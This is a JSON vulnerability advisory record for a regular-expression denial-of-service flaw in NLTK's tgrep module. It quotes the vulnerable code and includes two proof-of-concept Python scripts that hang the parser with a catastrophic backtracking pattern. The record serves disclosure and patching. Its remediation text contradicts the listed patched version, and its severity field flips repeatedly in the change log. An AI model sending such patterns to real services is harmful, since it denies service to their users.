{"id":"CVE-2026-80206","aliases":["GHSA-w3v8-gmh9-3wv7","PYSEC-2026-3751"],"title":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","summary":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","severity":"high","vendor":"nltk","product":"nltk","ecosystem":"pip","affected":["nltk < 3.10.3"],"patched":["nltk 3.10.3"],"published":"2026-09-08","updated":"2026-09-08","sourceUpdated":"2026-09-08T20:45:04.333988177Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-w3v8-gmh9-3wv7","references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206"},{"url":"https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"},{"url":"https://github.com/nltk/nltk"},{"url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"},{"url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"},{"url":"https://github.com/advisories/GHSA-w3v8-gmh9-3wv7"}],"tags":["osv","pip","ghsa"],"epss":0.00264,"epssPercentile":0.18567,"cwe":["CWE-1333"],"ingestedAt":"2026-09-02T19:31:25.120Z","slug":"CVE-2026-80206","body":"## Overview\n\n### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed – these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)\n\n## Affected packages\n\n- `nltk < 3.10.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `nltk 3.10.3`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[{"seq":8232,"id":"CVE-2026-80206","ts":1788919993788,"field":"severity","old":"none","new":"high"},{"seq":8041,"id":"CVE-2026-80206","ts":1788919280771,"field":"severity","old":"high","new":"none"},{"seq":7850,"id":"CVE-2026-80206","ts":1788916354400,"field":"severity","old":"none","new":"high"},{"seq":7659,"id":"CVE-2026-80206","ts":1788915297472,"field":"severity","old":"high","new":"none"},{"seq":7468,"id":"CVE-2026-80206","ts":1788912713848,"field":"severity","old":"none","new":"high"},{"seq":7277,"id":"CVE-2026-80206","ts":1788911331401,"field":"severity","old":"high","new":"none"},{"seq":7081,"id":"CVE-2026-80206","ts":1788909077086,"field":"severity","old":"none","new":"high"},{"seq":6893,"id":"CVE-2026-80206","ts":1788907391505,"field":"severity","old":"high","new":"none"},{"seq":6695,"id":"CVE-2026-80206","ts":1788905443424,"field":"severity","old":"none","new":"high"},{"seq":6513,"id":"CVE-2026-80206","ts":1788903459728,"field":"severity","old":"high","new":"none"},{"seq":6423,"id":"CVE-2026-80206","ts":1788901915446,"field":"severity","old":"none","new":"high"}]}